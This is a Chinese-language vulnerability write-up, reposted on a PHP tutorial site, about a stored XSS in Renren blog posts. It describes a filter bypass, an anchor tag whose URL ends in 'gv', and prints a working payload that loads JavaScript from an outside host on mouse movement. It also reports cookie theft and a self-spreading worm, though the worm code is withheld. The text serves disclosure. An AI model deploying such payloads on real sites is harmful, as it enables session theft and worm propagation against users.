网站地图    收藏   

主页 > 后端 > 网站安全 >

人人网日志存储型XSS 绕过过滤器 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 发个人人网的日志存储型XSS,可以加载外部JS,获取Cookies,自动发日志传播XSS代码。小范围测试了蠕虫。危害比较严重。日志发布时候通过Chrome的审查元素直接编辑HTML代码,或者通过...

发个人人网的日志存储型XSS,可以加载外部JS,获取Cookies,自动发日志传播XSS代码。小范围测试了蠕虫。危害比较严重。

日志发布时候通过Chrome的审查元素直接编辑HTML代码,或者通过burpsuite改包就可以发布HTML格式的数据。可是发现过滤的比较严,通过一大堆测试样本黑盒测试后发现了侧漏。经过好长时间的筛选找打了绕过过滤器的地方,诡异的很。到现在还很郁闷人人的过滤器到底是个什么机制。

 

XSS测试代码只要加上
<a href="http:// www.2cto.com /gv">&nbsp;</a>

这个标签XSS过滤器就完全失效。后面的gv是必须的,中间也可加字符,比如g__v g.....v 等等 可能是通过正则提取来判断的,黑盒测试结果。。。不明真相,很是郁闷。

比如:
以下代码被过滤
<script>alert(/xss/);</script>

 

以下代码可以绕过过滤器
<script>alert(/xss/);</script>
<a href="http://www.test.com/gv">&nbsp;</a>


是不是很奇葩?

但是如果直接加入script标签,script标签里面的数据会被注释掉.

 


于是使用img 的onerror事件 发现居然过滤掉了 说明在这一层还有过滤的

添加了个DIV设置长宽为100% 使用onmousemove行为来触发XSS.

最终利用代码如下
<div style="height:100%; width:100%;z-index:10;position:absolute; left:0px; top:0px;" id="Nietzsche"
onmousemove="var script=document.createElement('SCRIPT');script.setAttribute('type','text/javascript');script.setAttribute('src','http://xxxxxx.com/xss-test/renren/test.js');document.getElementsByTagName('head')[0].appendChild(script);">
<a href="http://www.test.com/gv">&nbsp;</a>
</div>

 


之后想干什么都可以了。。比如妹纸信息什么的。。

后来和@Drizzle.Risk一起研究了下发日志的功能,发日志时需要验证token,要先获得token。然后@Drizzle.Risk就写了个蠕虫,之前在wooyun看过有人发人人的蠕虫被删账号的,怕怕。就小范围测试了下。可以自动发日志传播XSS代码,标记日志为喜欢。

JS代码就不发上来了

弹窗长的都一样

 

测试下蠕虫
只要放个图片,基本上都会点的吧
点击之后。就可以自动喜欢该日志以及发表新XSS日志。





 

  最后发个福利。。贴个大图

 

修复方案:
过滤器的规则貌似有点问题。 具体还是交给人人的大牛分析吧。。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论